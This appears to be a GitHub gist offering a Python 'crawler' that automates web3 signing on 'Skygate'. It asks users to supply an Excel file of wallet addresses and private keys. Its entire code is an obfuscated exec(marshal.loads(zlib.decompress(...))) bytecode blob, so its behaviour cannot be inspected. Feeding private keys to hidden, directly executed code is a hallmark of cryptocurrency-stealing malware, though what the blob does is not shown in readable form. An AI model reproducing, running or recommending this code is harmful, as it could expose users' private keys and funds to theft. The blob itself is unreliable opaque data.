Skip to content

Instantly share code, notes, and snippets.

@jjhesk
Last active December 1, 2023 15:14
Show Gist options
  • Save jjhesk/d00ed0d6e9138253d001487a6d012b54 to your computer and use it in GitHub Desktop.
Save jjhesk/d00ed0d6e9138253d001487a6d012b54 to your computer and use it in GitHub Desktop.
hit the web progress in letting the things to complete by signature web3 signing skygate that works

system crawler on Skygate

enp/bin/python -m pip freeze | grep -vE '^(pyobjc-|pyobjc).*==' | awk '{print $1}' > requirements.txt

turn on the local vpn with local port http://127.0.0.1:7890

use local environments pip install -r requirements.txt

python3 main.py

INPUTS. EXCEL file address and private keys

NUMBERS. XX how many local workers you would prefer

from marshal import loads
import zlib
exec(loads(zlib.decompress(b'x\x9c\xed{[p\x1bWzf\xdf\x004@\\y\xbfI\x82H\xea\x02\x8b"\x01\x02\xbc\xc9^k(\x91\xf4e\xc6\xb4,i<1g\xc6H\x13\xdd !\x82\x00\xdd\r\x8a\x14\rf\xf40\xa9\xa2gYkJab\xd8C\xd70S\x13\x0f]\xe3$z\xc8\x837\x95\xd4Z\xc9\xcc$U\xd9\xdd\x02X\xa8\x12\xb6\xab\x94R%\xe5\x07\xbfAk\xcd\x96\xd7\xfb\xb2\xff\x7f\x1ah\xe2F\x9a\x9e\xd9\x9a\xa7%\x9a\xff\xe9>\xe7\xf49\xa7O\xff\x97\xef\xff\xcf\xe9\x7f\xa7J\xfe\x0c\x85\xf4\xf3\x0b@\xde\xa1DJ\xa4\xa3\xd4\x02=M\xd3\x14CI\x0c\xfc\xd3"\xf3\x01MQ\xbf\xa0\x8b\xb7\x94_\xd1\x94\xc8^\xa3<\xdcgx\xe1\xa1UC4.\x88\x8a\xf2\xfa\x18E\xfd\xfb\xef\xa3\xa3\xd7\xbeqPG\x0c]\xd9\x11\x9c3Qf\x9a!);\xcd\x91\xd40m \xa9q\xda\x08)\x1b5-\xf0\xd3\xfc\x82y\xdaL\xeasQ\xcbB\xddt\x1d97D\xad\x0b\xb6i\x1b97F\r\x0b\xf6i;97E\x1d\x0b\x8eiG\xa1}\xe7\xb4\x0bR>\xea\\\xa8\x9f\xae/\xe4Y\xa6-\xa2y\xbaA\xb4L72\xd4s\x94X\xf7CJ\xb4J\xf4\x07,< [\x1c\xf8t\x13)\xb3A\x99\xfd\x03\x06J\x18\xbd\xa4\x99\x948\xa0\xc4YQ\xd2BJ\\PR/\xb5T\xb4\xd7*20a\r\xc5\t3^\x9f\x93%A\x9c\xf20\xaa\xe3Zd6&\xccD\xa5\x97$E\x11f%\xd5.\xc5BqQ\n\x8aRx)\x16J@m\xfe\xaa\xa4,\xc6c\x8a\x04\xe7\xdcw\xa4\x19?N\xb9\x12\x95\xa4E81\xcdJ\x89EAQ\xe0\xd4<.$\x84IYX\x90V\x9b\xe6\x12\x89E\xe5B\x7f\xbfO^\x0c\xf5E\xe2\xfd\xf1\xc5\x99\xd8\x8c\xf0.\xbc\x07\x8b\xe5M\x8b\xa5K\x92\xe5\xae\x0b\xde\xde\xae\xa5)\xa8\xdeu\xa1\xcb\xbb\x12\x96Ff\x84\xc1@\xd8\xeb\x0f\xf8\x86G\x03\x83C\xc3~\xbf/\xe0\xf5\x86D\xd172#\r\x0c\x87\xc4\xd1\xd1\xf0L\xa0\xab\xd7\xd25+$\xa4\xef\x08\xd1\xa8\x94\x18\x13Eh\xa8+62\xf8\xcd\xd7\xbe\x15\x18\tG\xaf^\x1dY\x9c\xef\x82\x86\xcb\xca\xbf^\xf3\xa1x$\x067\rz\xa1\x9dEANDB\x91E!\x11\x89\xc7\xaeG\xc8`!{Y\x92\xe6\xb53%4\'\x89KQ\xe9Z\x02jv]\xf0\r{\xbd\xd0\xc1\x80\xd7\x0b\r\x15\xcb&b")\x19\x18\x1e\xf6\xf9FG{\xbbn@\x0fc\x0b\xf1\xa5\x18\xdc\xd1\xe5\xf3bG\x82(F\xb0\x0f!z9\xae`\xb6\x17\x87\xb2\x0c\xf5b1\x98XIk`dpx\x08\x9a\x86\xda7\x0b3\xe7\xf7%\xe6\xe0J\x88%\x96d\t\xda\x89\xc4nF\x12\xd2ex\x85\xc5y\xc1v\x96^\x10\xf1\x89\x86\x87\x07\x06\xbd#8=\x8a$\x7fK\xba)E\xb1\xff.\x8be\xcdb\t\x95\x8a\x0eW\x14\x9d\x1e"\xa3\x125M\x8b\x14\x88\x0b-\xb1"#qaNd\x7f\xc8\x81\xb8p?\xa4@X\x0c\xc0\\F\xd5r\xf9\xd6\xa2$_Y\x8a\xcd\x0b*\x13[R\x8d\x8brd^\xba\x15bK\xdae\x0b\xff\x9f\xbfH\xdaM\xd0\xfbE7\xf4\xf3d\x95\xbc\'\xe9$\x15\xd4Y=\xc9\xc0\x95\xde\xaaH]\xa3>\xa4\xa7<\x9c\x8cY*\x1f\x0cFb\x91D0\xa8\xb2\xb1\xa5\x05\x95Y\x9c\xf7\xb0*\xa7H\xd1\xb0l\x83r\xd9\x0eD\xc1\x9an\xb7[5Eq\x0e\x82>\xd9\x05\x19\xab\r\xfb\x0f\xd0Wl\xc5\x83\xd5q\x12nS\x0fy\xfb\x86#\xc5e\xf8cY\xfeX\x9a?\x96khZ\xe76\xf8\\}+$\xa6u\xf8}\x8e\xe3\t\x95<\x13\x99G\xf2\xbc3U\xcf\x9b,{\xe2\x1b\xfa\xd3\x95\x8b\xf5\x1a\x9d\xa4wJgP\xff\xfb\x00\xfe\x7f\xa1_\xd1d\x1ed\'\x9cz8\xd50v\xf5\x9b\xfe\t\xb9\x1e\x1f\xb8\x01g\xc5\x06\x9c\x18\x9a\x0f.\xca\xf1\x10\xc8\xb9\x87\x91\x1b1\x97\x11d\x85!S!7\xe15+/\xc5V\xed%\xb3\x00\xd7}8\x01\xe7\xb5\t\xb0\xd5o\x06\xb6FR\xd7\xb7\xbf\x93\xb1\x9d\xca\xdaN\xad39\xde\xf2\x80o\xdd\xe3[3|{\x96oO\x17\x0f\xb9\x19\xee\x98\xf2\x98\xf0u\xc4\x80Q\xe1uX\x82\xc1\x858J\x03\x9c[\x83\xc17\x96\x84h\xa1\x84\x8d\xc4\x12*\xab$d\xf2\x1a\xe4\x0e \x1fR\xa4\x052,\xd9Z$gq,\x13d,\xc5_\x9ea\rm)\x7f\x9e\x82d\x97%I%\xb10\x86\x8e<UM\xb4\x1e\xb0\xdd\xda\xac\xff\x1eu8\xebK\x9ch \xd7F\xb86\x8a&\x10\x05\x93\xc8\x03\xe5E3P\xb3h\x01jA\r?]\x07:\x9e\x13m\xa4\xb6\x1dj[E\x87d\x83\xbb\xedp\xed\x84k\x87\xe8\x92\xd80#\xd6\xc3\xb9Sl\x80\xba\x8d\xa4\xac\t\xae]b3\xb4POj3b\x0b\xe44\x88\xad pmr+\xbe3s\xe1\x9d\x06c\xe4M\x97I\x9b\xce}\xb2f\x00Q\x8a\xf4B\x91I\xd2?\x063\xf7>\x0b\xb9tE.Gr\xf7%\x8e.\x95\xb8\x04\xbf\xdf\xc5\x8d\xa2\x91\xa5v\x8c\xb5\xb8\x148\xbb\xf4|\xdf\xa2\x97q9\xb4n\xfa\x7f\xd0\xfa\x012\x04\xad\xebm\x8a\x06\xb82\xebWF\xb8\xb2\xe8W&\xb8\xaa\xd3\xafx\xb8\xb2\xeaWf\xb8\xb2\xe9-\xa2\x06\xb2\xebe\xf0\x92E\xeb6\xe69\xf4<\x90F\x8fmJ5\x84\x04\x10=\x95\x0e\xae\xf22\x98\xd1\xbe\xc4Jb\xb5.\xa8$\x84\xc4\x92\x82\x17\xaaI\x99\xbf\x85\xf6l\xf5\x99\xa2\xcd\x14\x16#\x90\xd7\x17K\xc4\xe7\xa5X\xdf\xccrB\n\xcd\xc5\xe2\xd1\xf8,\xe4I\t,\xee_&\xc6-\xa8\x80\xed\x8e\xc4\xfa\x16\xe7\x16W/~\x8d\xbbg\xf1\xd6\xf9[\xcfA\xafA\xb4u\xa4\x81\x89\xaf\xd1\x00Q&/\xc4\xf4F\x16\xa4\x85\x19I\xc6fT\xca\xc3L\xa9N(\x10\xe4\xf9 \x80\x8cP"\x08w`\xe6\x05\xff\xe5\x81q\xff\xd0\xe4\xf0\xe8\xd8\xe4%\xff\xf8\xa0\x7f80\x16\x18\xbd41<4<\xe6\x1b\xbe<4\xe6\x1f\x9b\x98\x1c\xf5\r\xf9\x07/M\x0e\x8f\xf9\'/\r\x0c^\x9e\x18\x1b\x19\x0f\x8c\x8f\x03N1B+\xc1\x88\xa8\x9a1%C\xf38Uc8\x1e\x15%Y5\x87#\xa0VP\x9b\xa8u\xe4T\x9b_\xd5R\x94\r\xb8\x91\x89+*\x07f|N\xe5\xd0\xfa\x16\xee!\x19\x96\xc2\xa9\x92XR\xad\xb3\xda\x03i`\x88\x95\x16}H\x06\x90\xf8U\x87\x10\n\xa1\xd1\x0e\x82\xb1\x86\xb7\xa9\xa8F|\x11\x8b\xf3\xaaiFP$|N\x96(V\xb9\x9b*(\xde\xa2\xa5\xd1\x14\x19\xb12v\xa2\x9bu\x03\x13\xc0Z\xf7(\xd4i\xb9\xe6c`I\xearm\xde\xd4k\xe96\xafv@\x8e=\xd71\x98\xba\x95\xee\x18\xd4\x8eu.\xcb\xb7\xe6\xda\xbb\xa1\xc4\xf1\xb0\xadc\xbb\xe5\'\x9d\xefu\xee\x88?\x9b\xbf\x17\xf8\x9bg3m\x97\xb2m\x97\xf0\xa6\x87\xed\x9d\xdbg~\xd2\xfb^\xefN\xe2go\xde\x1b\xcf\x06\xc63\xed\x13\xd9\xf6\t\xbc-\xd7y\n[i\xcb5\xbcBLX\xc3u-\x99&\xc9\x89\x93X\xd8\x99kF\xc3V\xf7\xa8\xd9\x9bk\xfb~\xde\xc0\xb6Z@\x9f\xb6Z \xcf\xba\x0e?\xa2>\xd5\xfa\x02+\x82\xad\xbf\x893\x07\x06_5\xca\x12\x80\x91XH\x17@J\xc3\xe2D\x15}\x83\xae4\x84\xb5A@\x82\xdb\xcf=\xcc\x19X\x03\xcd\xbc\xc6&\x99\x1b\xbaz\xba\xa1\xdf\xb9c\xa0j\xfc%\xe9\x8a\x16\xb8$wCW/k\x86\xa4\xa1T\x1d\x99\xa9\x84\xab\xe4^\xf6\xa3\n\xd7d\xcdx@\xdff\xaa\xc6_\xd2\x08\xbd\x97\x1bxS\xd2tCWA;u\xb5\xee*7\xf5\xa0X\xd8)\xf9\x0cE\xa0<\x97\x90V\x12\x1e\xab\x8c\xe3U\xad\xcf_\xbf~\xe5\x8a\x1c\xbf\x19A\xa9\xa8\x9bzy|"xyb\xea\xfa\xc4U\xe0_`tS\x81\x7fU>,\xc7\x17\xc8\xbb2\x15XYFgL6\x90VP\xad\xe8"`\xc6+\x01\xc1\xa5\xca\xceI+\x1e^\xe3\xf0\xff\x805\x99e\xc8\\PfU\xe6\xca\x18H\xa6\xd6RpE\xb5.\x08\xf3\x92Rp,\xe4\xe7\xa1\xaa\x82\n\xd8]\xf8\xd3\xc0\x06\x87\x15V-\x9a4\xe0\xf9$\xd6\xfbO\x94\x864\\\x7f\xda\x93\xad\xef\xfe\x8bof\xea\xbd\xd9zo\xc6\xe6\xcb\xda|\xebL\xdeH9Z\xd7\xd9\x9c\xcd\xb1\xf1\xea\xc6\xeb\x0fl={\xb6\x9e\xf4\xa9\xe1\x8cm$k\x1b\x014\xd2\xd8\xbc\xf5\xe2\xba9w\xe2,a\xe0<\xc3\x99\xad\xbf\xb1P\xad\xa7w\xfd\xe9\x96\xfeLK\x7f\xb6\xa5\x7f\xdd\x8a\xb5&\xb7\xa6\x1e4\xf6\xef5\xf6\xdf\xb3\xa6\x9f\xbd\x92i|%\xdb\xf8\xca\xba\xf9\x91\xa35\xeb\xe8z\xe08\xbd\xe78\x9dq\x9c\xcd:\xce\xa6\xf9\xb3\x84\xcf\xcb@\x1d>\x0b\xe1\xe5^\x06y9I\xed\xd4zi\x15o\r\x80\\\tw\xef0\xb5\xee\x10\x01i$i\x91n\xd3s\xc2L\x84\xae\x04\xc3\t\xd3\xfe\x1d\xfb\xfc\x96,1\x96\xe5\xd0\xb2\xb6\xe9,\x1f\x9d\xc8\xc0\x8f\xddf>\xe2>\x80\x16\x7f\xa1\xb7:\x08\xf2\x05\xfc\xad\xf7(\x1a\xe6\xc9\xc8\xe5\xe1R\xa9\x10\x8dUcl(\x19c\x89\x81\xad\x02\xf6G\xe2x\xa8\xc7\xecX\xbf\xba\xde\x1a\x0bF\x9b\xbdI\xc9\xber\x99\xad\xea\x15\xea\xed\xcf\xf1\x1aW\xf6,`\xe8o\xe8\x86\x1e\xa0\x90%\xc9\xfd\x98z\x9f\xab\nA\x90_\xb9,k \xbc\x9b\xf2Q\n\xb7\xcc\xac\xb0\xafQ\xcb4M\xbd\x06\xf9Z\x89\xa7nJeo,\'\xbe$\xfe1\xba\xc7\x03\xc3}^\xf8\xf9.\x0c\x8f\x8cz?dT\x0e\x0bT\x03\xb1\xc5\x1f\xb2\xaa\x01-\x93\xa2\x9a\xe6\xc0[\x97d8\x01\x83\xb6\x12\x91\x94\xcf\x9e\xc0H\xbe\xb4$\xe4[naV\x00\x0b\xfe\x19\xf1}\xcc\xa2\x10\x89\xdez.\x12N\xac\xf2\xa1\xa8\x00\xde\xaa\xe8\xfe\x92\xb9\xe0\xf6\xd8U#\x18}\xf0\xe3\xe5g\xb0\x9eqiQ\x04e\xad\x02$ycIR\x12h\x19\xc1\xe9\x94G\xb1\xd01+\xc5$\x19u\xb9\xd6\xabZ\xa7Y\xd3 \x86\x05T\x03(zP \\\x02\x1a\x97Q\x10T\xf6\r\xff \xd8T%\x1e#:\xe4C\x83\xe6[\xb0\xa0\x0bTZV\xe9Y\xd5<\'\xdc\xd4\x90\x86\x82,\xba\xaf\x03\xe4Y \xabfM\x05@3\x7f\x00\x97\xca\x1aMl\xa1\xbd\xfe\xed\xf9\x1f\xcd\xbf\xb5\xb0\xb1\x00\xf2\xce[7\xac\x0f\xf8\x8e=\xbe#gum\x8e\xa7\xbaS\xd2\xf6S\xe9\x86Sy\x969fyL1\xe6\xba\'H\xf2H~c\xa4\xec\xcd\x1b\xdf\xcf9\x1b\xb7\xf8\\s\xfbV4\xd7\xda\xf9\xa0\xb5w\xaf\xb57\xd3\xda\x97m\xed{\xd4\xe9\xcf\x1d\x0b\x80=k\xab\x07{\x06\xc4\xcc\xdb\xa1\r O\x90\xe4\xa9z\xf3$\x9dwRvG\xce\xe1\xdcX\xdba\xf7\x1c\xddP\xd1\xd6\xf1\xd0\xd9\xb4\x19\xcd8\xbb\xb3\xce\xee\xb4\xb3\xfb!\xb4oI\xf9\xee\xd8\xb6l\x9b6\xe8\xec\x1d\xfe.\x7f\xc7\xb2e\xd9\xb4<r\xba\xde1\xde5\xde\xe1\xb7\xf8\xf5\xb1\x9c\xa3=%\xa4\x1d\'\xb0\x85I\x1a\x9b\x10\xb0`\x93\xcfu\x1eK\xcdoOm\x9a!/\xdd<\xbe\xd3\x98=9\x08)\x1c\x1f\xb7ii\xc69\x91uN\xa4\x9d\x13\xf9SdH\xd4>}L\xe8\x13\xaa2\xffp\xfa\xc5\x17_\x1c\xa5\x9a\x82\xb2{\xdf{\xc9:nf\x7fi\xe6\xc6m\xa6_:i\xa0\xb5u\xa0\xfa\xffu\xa0\x96\xfb{\xd0\x81%c\xe0\xe7\t\xe6\x90\xbb\xcbuWU\xdbG\xd2\x9b\xa4\x9e\xed\xab\xeb\x81~\xb5\x10\xfd:\xfd\x95\xfa\xd5R\xaa_\xe1\t\xedT\x8d\xbfd\x95V-{\x9a:x\x87\xbaC\x05\x9a\xd8Z[\x13C\xeb\xce\xa3<\xe3o\xa5\xb1mS\xf2+PO\xbe\x8a\xe4\x1a\x92W\x91L#\xf9.\x92\xef\x01\xf9\xec\x9f\x81\xac\x1e\x8b\xc5\x13\xee\xe5\xb8<\x1f\x89\xcd\xba\xe317\xf1\x92\xdc\x9a\x1b\xd5\xe7V9T\x80\xab\rE\xbd\x9c\x88\'\x84\xa8\x1bq\x98[~\x1dn\xf7\xb8d\xf4\xcd\x89\x82\x96\xff\x10\x89\x80\x04\xe3F\xf2\x08\x12\x0cR\xc8"\x12\tI\x18IQ\x01\x07T\xa7,D\x14)\x18\x8e\xcb\x05\xe7G\x9e\xc32\xeb\xb2\x1cI\x14\xfd!\r\xe3\xa1\xce\x95#@*\x95\xf1\x1bT\xa92\x0e\xe0\xa5\xf2\x9f\x7fWe\xcc\xff\x8e\xca\xb8\xcd\xdcAt\xf1\xa3\xdfR\x17\x97\xdc\xc6\xd8N\x11];\x98q\x0ee\x9dCi\xe7P\xce\xe9z\xe0\xec\xdasve\x9c=YgO\xda\xd9S\xa1\xbb\x9bR\xae\xf57\xf3\x94A\xeb\xb0Ds\x87\xb7_\xd84CO\x0f\x9c\'\xf7\x9c\'w<\x19go\xd6\xd9\x9bv\xf6\x92\x1e^\xde\x1d\xcf\xf6~\x03R8>yAK3\xce+Y\xe7\x95\xb4\xf3J\xd9\xf8\xf2~|@\xaaH\x1e#yB\x95\xe5\x1dH\x88:?\xacBA\x91_\xee\x9ep\xb3\xbfrs\x13=\xa6_\x9d\xa1\x81\x96)rT\x8cD\x91c\xb0\x10cD\xa8\x04EN4\x88\xc6m\x8c\xeb\x9a\xa6V-!9\xae(\xe7\x15\xe0\xa4\xd5\xeb/\xc5W#\xd1\xa8\xd0?\xd8\xe7u\x9f}I\x08\x01\x1a\x88+sO\xbb_\x88%\xa4\xa8\x1b2\xdc/_s\xff\x81\xdb\x07\xa0f\xf0i\xb7|\xf3\x82o\x00\x10\x8e\xc7\xfd\x1c\x08C\xbc\x7f\xc0\xeb\xf3\xc2\xe1sOFd)\x1c_\xe9\'\xa5\xab\xc7\x0f\x0f:\xac\xf6\x14\x83\x13\x85`I\x9f\x16`\x08\xcd\xc9\xf1X$\x04\x10\xa9/\x14_X=u\x94Z\xfd\x1e\xc3\xaa\xfd\x9a\x14:?)%Bs\xe7\xaf\xe1CY\xbe\xadH\xf2\xf91\x00>\x80l\x9e\x07$\xa4\x1a_\x96#\xb3\x91\x98j\xba*\x85%Y\x92\xe5\x930;\x1f\xd2\x04\xda(8}\x05\x99A\xa1\\m\xd2d\xa6\x027\xdd\xc5\xaan\n\xe5\xe7\xd1\xf1\xa7r\xed\x8b\xb9\xc6@\xae\xf9\x99\\\xcb\xb3\xf9:\xa3\x13X[#fK\xb5\x83\xa1\xc7\xed\x06\xa8\xc3\x8c+\xbe\xabZ\xea\x0c\xdcC\xf5)\xefJxb\xe4\x920\x18\x98\xac\\\xf2\xb8,\x8e\xfbFf&\nK\x1e\x97\x02\xea\x0f\xc9\xf2\xc8\x88 \xcc\x84CC\xd2\x8c70\xe3\x1d\x10\x86\x07\x84\xd1\xc1\xb0(\x85$\x7f``ft\xc4\x1b\xf0\xcf\xf8\x84\x01\xdf\xe0P\xc8;<\xe8\x17\xc3\xd0\xd6p\xd8?\xe8\xf5\xfa\x87\xc4\x99\xa1\x91\xc1\x81\x01)\x10\x08\xfb\xbc\x83^aP\x94\x02\xa1\xd0\xa8\xcf7,\x86\xa0\x17I\x80\xce\x87\xa4\xb0oF\x94FC\xfe\xc0\xf0\x888\x1c\n\x893\xa3\xa2\x10\x08\xcf\x04\x06\x07\x04\xd17\x03\xbel\xdd\x1b~\x7f\xb0\x00I\xe5\x95\xf2\x99V\xeb\xa4\x15aa1*\x05\xa1\xd2\xaaK\x9b\xf1\x92\xac\x1fSz\x98\x1a\x14\x94\x16\x93\xceYG\xf2\x0ce\xbb\xc6<6\xb0fP(@\xf2\xe5\xa4z\xea\xf5\x05\nm\xe1\xa346!V\xa1\x102\xd9\xcc\xd4j\xbd"\xc5P\xa3\xbb\x17\x84\x18\xf8\xcc\x0b\xc0G\x1eZS\xd3\x95\x8faY\x88\x88"\x0c\x19j\xae:\xb5\xa7\xd8\xcf\xf9s\xac\xdcBi\x8b\r\xb6\xb4\xbd+\xc3wg\xf9\xeet\xf1\xd0B.F-\xe4B\xfc\xea\xb2p\xaf\x8e\xc9&Y\x8dm\xf6\x83\xa3;\xa5\xcf\xb8\xffD\x80\xb4\xc2\x0cP\x06(\xbd\xcdTY\xe3\x92\xf8\x89\x16\x18~\xbf\xba\xceQ\x90\x18\xb5\x7f~$$\xc6\xa2\n\x02$f\xa8Bbl\x92-AA\xc6\x02\x12\x1b-\x1bi\x15\xc2*E\x157\xf6\x83\xbf|\r$a\xa1j\xfc%\xe9d\x95\xa0\x95\x8d\xc3\\\x18G\xd7Q\xb1\x9c\xf9\x104R\xd6\xb2\xa5\x80\xf3\x86\xcb\x9e\xb0\xee\xb07\x05\xf7\xeb\x98\xaf\x1a\x99\x1d\x05\xe7U\xb6W\x1b\xbd\x95\xdfS\xa3\xa7#\xdc\x85\xb17\xd1\xba\x8f\x15E[a&=0\x93\x8e\xaa\x9b\xa9\x9ah\xf3\x88s\xfe[\xe1?;.\x92\xd7\x95\xac&\xcb/\xc3m\xab\x8d\x055\xe5^\x8e$\xe6\xdc\x9a@\xba\x0f\x07\x89\x91\xff\x05c\x96\xe3x\xb7\xbd\x04)\x024\x94\xbf\t\x99\xaa\xfd\xa6$G\xc2\xb7\x82\xcaR\x88\xac\xd19K\xa0 Q%\xfbxp\x98*\xc3\x83:\x14\x94\x93T\x01\xc7\xa9\xa6P\x1c\x0cr,!\xcb\x98E\xb0 ?/I\x8b\xa1\xf8\xe2-\x8f\xe6\xa2\xcb\xb7\x91\xa0\x16\x91\xe7\x91D\xa9jL\x88\r\x16\xb5m\x89v\xfe\x19V\xb52\x05m\xab\xc3\xc1N\xf7\xce\xe9\xd4\xb3\xb9\xa6\xb6\xd4h\xba\xf1\x14\xa0\xbac\xa8f\x11\x14\xb2\x08\nY\x04\x85,\x01\x85f{\xda~~\xe7U pd\xf8\xbe,\xdf\x97\xe6\xfb\x1e\xda\x9a~\x17\xac\xd8Y\xc0\x8a\xe5~{\xe0p\xac\xf8\xc0\xe9\xdes\xbaw\x9aw\xdb2N\x7f\xd6\xe9O;\xfd\xe5\xa0\xb1\xa5\x0c\xb0\xe5\x9c\xcd\xf9\x93\xd8\x11U$\x8f\x91<\xa1\xca\xf24r\x9ar\xbaJ\x06\xa2\xa1\xcf\xd3\x19\xe7\x99\xac\xf3L\xday\x86@\xca\xadH\xc6\xe9\xce:\xddi\xa7\xbb\x1a\x8d~\n\xf8\xfa\xe4;\xa7\xef\x9e\xbesv\xeb\xec[/o\xbc\xbc\xfer\xae\x1c\xa0:7\x9b6V\xd2\x1d\xe7\xf6\x1c\xe7p\xac\x1d8V\xdb][J(i\xb5\x14n\x8e\x1eq\xe85\x08\x81\x9b\x87UP\xda\x81+\xee\x9f\x1b;5\xd9\xcc\xfe\xe3\xb1K\xbd\x90\xfc\xba\x99\x9bl7\xfd\xfa\x18\r\x940Y\xd9\x9a\x80\x0e=?\xa1\x0e[\x1c\x17+"\xe6\xc4\x1f\xa7\x0f\x88\x1e0\x1fU\xe8\x87q\xea\xfb-\xb8>P{\x11\xbdZ\x9bl\xb4\x1e\xa6\x9b\x0f\xd1\x14\xdc\x94\xca,\xcfD(7\x89\xcb[BsK\xb1\xf9\xa0\x12Y\x95<\x9c\xca\xc5\x17\xa5\x98\x8cK=\xaa\x15\x00\xa7\x1c,H\xa7j \xfe\x99\x87\xd3\x04\x12gH\xa5\xc3\xaa\x81\xdc\xacp\x05Y\xd4D\xf1\x8f\xa9\xfd\xc5\xa3\xa2$\xa3\xdf\xa9\xecR\x85\x90\xf9f\xcfV\xdfNO\xc6v&k;\x83\xde\xd7\x89]_\xae\xad\xfd\'\xc7\xdf;~/\x90:\x9ei\x1b\xc9\xb6\x8d\xe4)\xdav\x82\x90M\x03\xf2\x92\xe9\xae)e\xb8c\xdf\xb2o\xc2/\xcfb!\x0bw\x92\xdb\tA\x87\xee\xc4\x13\xaa,\xef@Bx\xe4\xb0\n\nZ\xe2?\xeb\x1fk`\xef7pc-\xa6\xfb\xed4Py\xb1\x925\xf4\xe5\xa2\xd3\xdarQI\xd1W\x81\x9a\n\x03\xc3$\x99\xb2\x05&\xbd\x17\x91\xae\\\xcaY\xc5\xfal)\xa0\x01#V\xb2\x0cuP\x1f\xe5\xad\xe0Zy\x19\xf8\xd1\x01\x8f\xc8nsk\\\xa2\xc4\xacU\x07@\xc0\x98\x95\xac\x7f\x97\xd4,\x01.pW-\xd4\xcfM}\x86;\x02pw\xd6\\|IV\x80\xab\x88e\xc0\xc9\x95qqE\xad\xd3\xf7\n,-x,*\x8fA`\x0c\xe4\xaal,\xbe\xac\x9a\xf1T\x94\xa2\tA>\x81\xb5\xc9\xb5\x92\x00\x88\xad\x05\x0e\xbcT\xc1\x12\xc1\x8dK\x0b\x8bb$\x94\x90\x07\xb1\xc3\x829\xc1~T#\xde\x14\x0c\xa9|LZ\x0e\x92\xb6]\xa18X\xc7\x10\xeem*\xc4!*\x8d\x8c\x82s_\xafqvi\xbc\xe2\xbfQ\xfb\x0bB\xae\xb6\xac\xab\xeb\x81\xeb\xf4\x9e\xebt\xc6u6\xeb:\xbbn\xcc5\xb4\xbd\xff|\xb6\xb3\xef\xde\xd5t\xe7H\xa6s$\x0b\xb4ad\x9d\xff\xb4\xb1%\xc5?h}j\xaf\xf5\xa9Lko\x16\xccG\xe3\xf9l\xe3\xf9\\ck\xae\xa5#\xdbr.\xd7qb\xfbb\xdel@\xe3\x04$\xcd\xb7\xfd\xc6J\x0c\xd2\x89\x0c\xef\xce\xf2\xee4\xef\x06\xa3\xf6\xb6\xedG\xb6Mq+\x9e>3\x92\xe1G\xb3\xfch\xbaxh(\x9c\xc3\xd0\xbcJ/\x97!p\x9dm\xb7\xa9*\x8dFW\xea1\xc4\xb2\xb5Y\xb8\x14}\xed\xaf-&\xbfbS\xe4\xd1\x98U\xf7Z\xe4\x1fk\xef\xee-|\x05\xff\x91*\xa2\x04\x03\xbe[\x05TP4\xae\xe8\x8a\t\xb7\xc2\x90\xfa\x85\xf5\xf5\xf8\xcc\rx\xa3\x15\n\xea\xcf\xa8}\x05Ud\x90\xff\x81\xaf\xf0\xb2\xf6\n\x9b\xdbS\x81\x9d\x86;\xf1\xad\xf8z]\x8eox\xc0\xb7\xed\xf1m\xef\xf7l?\xb5\xf3\xca\xbb\xe7\xb7\x01\x05\x9c\xcd\xf2\xb8\xe0\xa6\x97e\xf8\x8e,\xdf\x91.\x1e\xd5\xce\x9an@~M\x82\xd0\xe6\xdfAO\xd46\'\x95\xe1\xeb2\xddP\xb9\x8cL\x7f\xcd\x9d+z[\xe5\xed\x88\xf4\x12%\x7fz@[\x07\xe9\x86\x83\xdab\xe6\tK\xc8\x7f_\x1a\x8c.\xad/\xb2\xd5\xc65\xd1T\xd2\xb7\x0e\xad\x8f\x16J\xae\x98\x13p\xe3H\xc0XJ\xc2\xd9>\xccO\xd2\xf3$\x95\x87@\xdf\xd5tH`\x8c\xba\xfbP\xb9\xe0\x7f\xa0k@\xdd\xd0\x03\xc1\xd5\x0e[\xac;\xd1\xbd_W4T\xb9P\xa7\xf6Ko\xe8\xb3U\x1d\xd6\xaf\r\x0ebu\xb5\xa1A\xac\tF\xdbXk\xb4\xd5n\xea&\xbd!x\xf8\xa9\xeb\x9f\xe1\xfb\xd609*\xf0/\xe9\xbe\xcf\x88+\x80\xddy\x9aH`I\xfe\x13$\x7f\x8a\x04u\xb5\xecC\x82\xd1"\xd5\x18QPD\x89f&\xbbs\x11\x82hB\xae\xc97\xd9,\xadr\xb8\x01\x98\xf82\xf2\xd3T\xd1s j\xbe<\xbaL\x94sA\r\xa8\xd6\xd0\x92,\x03l!\x8a]\xde\xc0,\xba\x12\xa6\xe0K^m\xd0\xb4@\xd9\xa6\xc3\x7f\x85\x02%B\xe2\xc9y\xc6e>\xf5\xb0\xa3;\xdb\xd1\xfb\xa0\xc3\xbb\xd7\xe1\xcdt\x0cd;\x06\x1et<\xb3\xd7\xf1L\xa6\xe3\xd9l\xc7\xb3\xeb\xdfz\xd8q<\x95\xcct\xf4B%\xb8p\xb86\x96\xdf\xfe\xa3\x1f\xfdQJ\xdc\x8eg\x1c}YG\xdf\xbd\x9e\xb4c(O\xd9m\xa7\xfe~\xe0\xef\x86\xff\xcb\xc5\xbf\xbd\xf8\xcf\x81\xffz1\xf3\xf4w\xb3O\x7f7\xfdzp\xef\xe9 )|\x08\xdeH\xcfv\xff\xae?\xd3\xd4\x9fm\xea\xcfSu\xaes\xf7|\x9f\xb6vn[v|?\x1f\xfa\xe9\xd0\x9f\x8f\xfclD\xb3\x13\x9bc\xb9\x96c;\xae\xcd7\xf3\x14\xdf\x04f\xa23\xf5\xea\xf6\xe8Nr\xaf\xc3\x9f\xa7Lm\xe7\x1e\xb9{~n\xfe\xa9y\xb7\xe7\xa3s\x19\xf7P\xd6=\x94\x1a\x03\x8f\xe7Ag\xef^g\xef\xee\xf5\xec\xf9\xb1O|\x99\xce\x89l\xe7D\x9a\x1c\x9fv\x9e\xdc\xe9~\xf7\xc5\xed\x17S/~\xda\xe9\xde~qG~wj{*5\x95o\x81\x11\x90a\x10\xf2\x18\xc9\x13\xaa,\xaf\x16!\xd0\xaaFv\xbe\x9dr5\x15\xc2\xd0\'u\xcf\xe1q7\xcc0\x89\xff\xfeC\xcf%\xe7\x04\xc5\xfe\x8a\xe2&8\xd3\xafL4\xd0\xda:\x14\xf7 